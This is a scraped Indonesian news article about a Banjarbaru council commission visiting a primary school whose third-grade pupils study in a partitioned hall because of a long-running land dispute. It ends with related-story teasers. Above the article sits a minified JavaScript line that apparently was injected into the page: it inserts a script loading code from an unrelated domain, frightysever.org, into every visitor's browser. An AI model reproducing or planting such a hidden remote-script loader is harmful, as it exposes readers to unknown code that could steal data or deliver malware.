(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi I Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun meninjau proses belajar mengajar di Sekolah Dasar Negeri (SDN) 2 Landasan Ulin Utara (Laura), Kamis (31/7/2025) siang.
Pantauan Kanalkalimantan.com, murid kelas tiga pada empat rombongan belajar (rombel) SDN 2 Laura sudah mendapatkan bantuan kursi dan meja untuk melaksanakan proses belajar mengajar, tidak lagi duduk lesehan. Meski masih belajar di aula sekolah yang diberi sekat pembatas dari triplek.
Bantuan dikirim oleh Dinas Pendidikan (Disdik) Kota Banjarbaru berupa set meja dan kursi untuk kelas 3 A, B, C, dan D.
Baca juga: Titik Api Mulai Muncul di Banjarbaru, Dua Daerah Status Siaga Karhutla
Ketua Komisi I DPRD Kota Banjarbaru, Ririk Sumari didampingi Kadisdik Kota Banjarbaru Dedy Sutoyo. Foto : wanda
Ketua Komisi I DPRD Kota Banjarbaru, Ririk Sumari mengatakan, permasalahan sengkata tanah di tempat sekolah berdiri menjadikan pemerintah belum bisa menyelesaikan masalah kurang ruang kelas untuk rombel.
“Permasalahan di SDN 2 Laura sudah sejak tahun 2014, kondisinya saat ini kalau mendengar informasi sudah ada putusan MK yang mengeluarkan sudah ada pemenangnya,” ujar Ketua Komisi I DPRD Kota Banjarbaru, Ririk Sumari saat diwawancarai, Kamis (31/7/2025).
Ririk menjelaskan permasalahan tumpang tindih tanah dimulai ketika pemilik tanah salah menunjuk lokasi lahan yang dihibahkan untuk pemerintah kota.
Baca juga: Dinas PUPR Kalsel Pasang Lampu di Stadion 17 Mei Sesuai Standar Liga Indonesia
Hingga saat ini katanya Mahkamah Konstusi (MK) telah mengeluarkan putusan terkait pemenang pemilik tanah. Menindaklanjuti hal tersebut, pemerintah bersama wakil rakyat dalam waktu dekat akan menemui pemilik tanah.
“Kami bersepakat akan ada tim kecil yang dibentuk dari Komisi I dan Dinas Pendidikan, aset, Camat dan Lurah serta pihak sekolah itu sendiri jadi kita akan cari H Riza (pemilik tanah) ini terkait kelanjutannya seperti apa,” ungkapnya.
Tim yang akan dibentuk jika memungkinkan dalam minggu ini dapat berkordinasi dengan pemilik lahan agar bisa dimanfaatkan untuk kegiatan sekolah.
“Tim ini yang intens akan berkomunikasi dengan pemilik dan harapannya memang kita punya titik temu, mau gak mau kan ini sudah dibangun sekolah ada siswanya, dan harus kita pikirkan bersama,” jelas Ririk.
“Secepatnya akan kita cari kontak pak H Riza. Kita cari rumah beliau dimana ketemu, kalau kita maunya satu minggu ini bisa bertemu,” tambahnya.
Baca juga: Ini Juara Desain Logo dan Tema Hari Jadi ke-75 Provinsi Kalsel
Sebab seperti diketahui kegiatan belajar mengajar yang di aula terbuka ini diakuinya tidak efektif dilakukan meskipun sudah ada fasilitas meja kursi.
Di sisi lain orangttua juga didapati tetap ngotot untuk menyekolahkan anaknya, dengan kondisi belajar yang seadanya.
“Ini bukan kesengajaan kita, namun memang dari sisi masyarakat maunya sekolah di sini, walaupun sudah kita jelaskan rombelnya gak ada meja kursinya gak ada, tetap mereka ngotot sekolah di sini, karena alasannya dekat. Mereka juga bersedia membuat surat pernyataan, ini yang menjadi permasalahan mau diterima, namun kondisinya seperti ini, dimana tidak layak bagi anak-anak,” imbuh dia.
Masih kata Ririk, semua kemungkinan akan dicoba untuk memberikan fasilitas belajar yang memadai bagi murid SDN 2 Laura. Namun, rupanya permasalahan sengketa lahan ini kompleks karena seluruh tanahnya didapati bermasalah.
“Ternyata yang bermasalah bukan hanya batas saja karena si pemberi hibah salah menujukkan lokasinya, dimana tanah ini adalah milik orang lain bukan si pemberi hibah,” pungkas Ririk. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
This website uses cookies.